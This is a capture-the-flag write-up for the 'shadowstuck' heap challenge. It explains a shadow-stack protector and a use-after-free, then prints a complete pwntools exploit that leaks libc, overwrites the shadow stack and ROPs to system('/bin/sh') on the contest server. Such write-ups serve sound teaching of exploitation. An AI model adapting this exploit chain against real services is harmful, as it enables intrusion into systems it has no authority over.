This post spoils a CTF challenge … Don’t read if you want to try it !

KipodAfterFree CTF is a Jeopardy-style information security competition hosted by KipodAfterFree CTF team. I registered late, so I only had time to do 2 challenges before the end of the CTF. Btw, the challenges were really interesting and will be left online until the end of November if you want to try them out.

[+] Presentation

Ever since PITA™ declared the usage of stack canaries inhumane, we’ve been working on bringing you the latest and greatest in animal-abuse-free stack protector technology. Can you crack it?

nc challenges.ctf.kaf.sh 8000

shadowstuck

libc-2.31.so

[+] Recon

The binary is not stripped, and has all protections activated except stack canary.

shadowstuck: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7eadce03ae009b82a96d080ad404fb11c3765403, for GNU/Linux 3.2.0, not stripped

[*] './shadowstuck'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

In fact, this binary is using a shadowstack as stack protector technology. The concept is the following :

void ss_init(void)
{
  int iVar1;
  void *pvVar2;
  uint *puVar3;
  
  pvVar2 = mmap((void *)0x0,0x3000,0,0x22,0,0);
  if (pvVar2 == (void *)0x0) {
    fwrite("Could not create shadowstack pages\n",1,0x23,stderr);
                    /* WARNING: Subroutine does not return */
    _exit(1);
  }
  iVar1 = mprotect((void *)((long)pvVar2 + 0x1000),0x1000,3);
  if (iVar1 != 0) {
    puVar3 = (uint *)__errno_location();
    fprintf(stderr,"Could not set RW protections on shadowstack page, errno: %d\n",(ulong)*puVar3);
                    /* WARNING: Subroutine does not return */
    _exit(1);
  }
  printf("Shadow stack set up at %p\n",(long)pvVar2 + 0x1000);
  SHADOW_STACK = (long)pvVar2 + 0x1000;
  return;
}

Hooks at the beginning and at the end of every functions are supported by the GCC option -finstrument-functions and the following functions :

void __cyg_profile_func_enter(undefined8 param_1,undefined8 param_2)
{
  *SHADOW_STACK = param_2;
  SHADOW_STACK = SHADOW_STACK + 1;
  return;
}

void __cyg_profile_func_exit(undefined8 param_1,long param_2)
{
  SHADOW_STACK = (long *)((long)SHADOW_STACK + -8);
  if (param_2 != *SHADOW_STACK) {
    puts("Return address tampering detected, exiting.");
                    /* WARNING: Subroutine does not return */
    _exit(1);
  }
  return;
}

Otherwise, the binary looks like a classic heap challenge : it is an employee management application, which allows you to add employees, modify employees’s name, fire employees and read employees list.

However, the binary has 2 special “features” :

[+] Exploitation

Basically, we can’t directly exploit the stack overflow because of two things :

So we need to find a way to leak the libc base address, and bypass (overwrite ?) the shadowstack = we need an arbitrary read and an arbitrary write.

After reversing the binary, we can see that the employee structure is a linked list whose value is the employee name (16 bytes) :

struct employee
{
    char employee_name[0x10];
    employee * next_employee;
};

The vulnerability is in the manager_remove function (which is used when firing an employee, to free its structure and remove him from the linked list) :

exit:
  __cyg_profile_func_exit(manager_remove,local_res0);
  return retval;
LAB_00101b01:
  if (temp_list_root2->next_employee == (employee *)0x0) goto LAB_00101b0e;
  if (temp_list_root1 == temp_list_root2->next_employee) {
    temp_list_root2->next_employee = temp_list_root1->next_employee;
    goto LAB_00101b0e;
  }
  temp_list_root2 = temp_list_root2->next_employee;
  goto LAB_00101b01;
LAB_00101b0e:
  free(temp_list_root1);
  retval = 0;
  goto exit;

When the employee is not at the end of the linked list, there is no problem : the structure is safely freed, and the previous next pointer is overwritten with the next employee’s structure address. But if the employee is at the end of the linked list (the last employee), the structure is freed and the previous next pointer is not overwritten : we have a use-after-free situation.

The interesting thing is that this use-after-free always occurs when firing the last employee, just before the program asks us to provide an 0x18 bytes length message as a firing reason. Since 0x18 is the exact length of an employee structure, the message’s buffer will be allocated on our previously freed employee structure, effectively overwriting the employee’s name and the next pointer.

We can use this use-after-free to read and write arbitrary memory : let’s say there are n employees in the linked list, the idea is to fire the nth employee to trigger the UAF, overwrite the next pointer with an address we want to read or write, and then access the fake n+1 employee through the manager_read function (for arbitrary read) or manager_rename function (for arbitrary write).

By setting the next pointer to the address where main’s return address is stored in shadowstack, we can at the same time leak a libc address (since main returns to __libc_start_main) and bypass the shadowstack by overwriting main’s return address with the first gadget of our future ROP, which will be written in place of the real main’s return address.

We can then just ROP our way to system, using the stack overflow triggered when exiting the application.

Here’s the final exploit :

#!/usr/bin/python3
from pwn import process, remote, ELF, context, pack, unpack, gdb

context.arch = 'amd64'
context.bits = 64

def employee_exit(reason):
    p.recvuntil(b"> ")
    p.sendline(b"Q")
    p.recvline()
    p.sendline(reason)

def read_employee(employee_num):
    p.recvuntil(b"> ")
    p.sendline(b"R")
    p.recvuntil(b"> ")
    p.sendline('%d' % employee_num)
    a = p.recvline()
    if b'Could not' in a:
        raise Exception("Could not find employee")
    employee_name = a.split(b': ')[1][:-1]
    return employee_name

def fire_employee(employee_name, reason):
    p.recvuntil(b"> ")
    p.sendline(b"F")
    p.recvuntil(b"> ")
    p.sendline(employee_name)
    if b'Could not' in p.recvline():
        raise Exception("Could not find employee")
    p.recvuntil(b"> ")
    p.sendline(reason)

def add_employee(employee_name):
    p.recvuntil(b"> ")
    p.sendline(b"A")
    p.recvuntil(b"> ")
    p.sendline(employee_name)

def change_employee(employee_num, employee_new_name):
    p.recvuntil(b"> ")
    p.sendline(b"C")
    p.recvuntil(b"> ")
    p.sendline("%d" % employee_num)
    p.recvuntil(b"> ")
    p.sendline(employee_new_name)

p = remote("challenges.ctf.kaf.sh", 8000)
#p = process('./shadowstuck', env={"LD_PRELOAD":"./libc-2.31.so"})

libc = ELF('./libc-2.31.so')

base_shadowstack = int(p.recvline().split(b'at ')[1][:-1], 16)
print("[+] Shadowstack @ 0x%x" % base_shadowstack)

add_employee("Mike") #0

fire_employee("Mike", b'a' * 0x10 + pack(base_shadowstack)[:-2])
leak = unpack(read_employee(1).ljust(8, b'\x00'))
print("[+] Leak libc @ 0x%x" % leak)
libc.address = leak - 159923
print("[+] Libc @ 0x%x" % libc.address)

pop_rdi_gadget = libc.address + 0x26b72

change_employee(1, pack(pop_rdi_gadget).rstrip(b'\x00'))
assert unpack(read_employee(1).ljust(8, b'\x00')) == pop_rdi_gadget

rop = b"aaaaaaaaaaaaaaaaaaaaaaaaa" #padding
rop += pack(pop_rdi_gadget)
rop += pack(next(libc.search(b'/bin/sh')))
rop += pack(pop_rdi_gadget + 1) #for stack alignment
rop += pack(libc.symbols['system'])

employee_exit(rop)

p.interactive()

Flag : KAF{1_SUR3_H0P3_C3T_1S_B3TTER_WR1TTEN}

[+] Bye

Feel free to tell me what you think about this post :)